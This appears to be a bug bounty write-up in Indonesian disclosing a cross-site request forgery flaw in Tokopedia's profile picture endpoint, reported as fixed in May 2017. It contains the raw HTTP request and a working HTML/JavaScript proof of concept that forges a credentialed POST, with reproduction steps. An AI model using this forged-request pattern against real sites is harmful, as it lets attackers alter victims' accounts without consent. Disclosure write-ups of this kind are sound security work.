Tokopedia - CSRF On Change Picture On Tokopedia

CSRF Issue On Tokopedia, 

List of bug on Tokopedia :
-

http://v1nsh4n.blogspot.com/2017/05/tokopedia-csrf-to-create-new-store-for.html

-

http://v1nsh4n.blogspot.com/2017/05/tokopedia-csrf-on-report-item.html

-

http://v1nsh4n.blogspot.com/2017/05/tokopedia-csrf-on-change-picture-on.html

-

http://v1nsh4n.blogspot.com/2017/05/tokopedia-csrf-on-change-picture-login.html

-

http://v1nsh4n.blogspot.com/2017/05/tokopedia-csrf-on-open-store.html

Halo,
Saya menemukan sebuah bug CSRF di tokopedia

Pendahuluan
bug ini bisa mengubah user picture di profile picture

POST /ajax/people-4.pl HTTP/1.1
Host: www.tokopedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Referer: https://www.tokopedia.com/people/9946238/edit
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 526
Cookie: <somecookie>
Connection: close

file_path=https%3A%2F%2Fecs7.tokopedia.net%2Fimg%2Fcache%2F300%2Fuser-1%2F2017%2F4%2F7%2F9946238%2F9946238_7ac0357f-05f7-4f32-92a7-b69b9b23956c.png&file_th=https%3A%2F%2Fecs7.tokopedia.net%2Fimg%2Fcache%2F100-square%2Fuser-1%2F2017%2F4%2F7%2F9946238%2F9946238_7ac0357f-05f7-4f32-92a7-b69b9b23956c.png&message_status=0&pic_obj=eyJzZXJ2ZXJfaWQiOiI1MCIsImZpbGVfcGF0aCI6InVzZXItMS8yMDE3LzQvNy85OTQ2MjM4IiwicGljIjoiOTk0NjIzOF83YWMwMzU3Zi0wNWY3LTRmMzItOTJhNy1iNjliOWIyMzk1NmMucG5nIn0%3D&success=1&action=event_upload_profile_picture

Poc Code:

<script>
      function getMe(){
        // retrieve page content
        var xhr = new XMLHttpRequest();

        // now execute the CSRF attack
        xhr.open("POST", "https://www.tokopedia.com/ajax/people-4.pl", true);
        xhr.withCredentials="true";
        xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhr.send('file_path=https%3A%2F%2Fecs7.tokopedia.net%2Fimg%2Fcache%2F300%2Fuser-1%2F2017%2F4%2F7%2F9946238%2F9946238_7ac0357f-05f7-4f32-92a7-b69b9b23956c.png&file_th=https%3A%2F%2Fecs7.tokopedia.net%2Fimg%2Fcache%2F100-square%2Fuser-1%2F2017%2F4%2F7%2F9946238%2F9946238_7ac0357f-05f7-4f32-92a7-b69b9b23956c.png&message_status=0&pic_obj=eyJzZXJ2ZXJfaWQiOiI1MCIsImZpbGVfcGF0aCI6InVzZXItMS8yMDE3LzQvNy85OTQ2MjM4IiwicGljIjoiOTk0NjIzOF83YWMwMzU3Zi0wNWY3LTRmMzItOTJhNy1iNjliOWIyMzk1NmMucG5nIn0%3D&success=1&action=event_upload_profile_picture');
        }
</script>
<button onclick="getMe();">Let's Rock</button>

Note: file_path adalah letak foto baru user lain

Bug ini bisa terjadi karena tidak ada verifikasi token untuk pengubahan foto, (hanya di uploadnya aja ada)

Step to reproduce:
- simpan poc code ke .html
- eksekusi kode,
- foto akan digantikan dengan file_path

Jika butuh video, saya upload di :
https://youtu.be/jNE2ECG9DRQ (video sudah saya private)

Timeline: 
- 7 April 2017 => Reporting
- 10 May => Fixing & Ask Document
- Waiting Bounty ( Will be edited )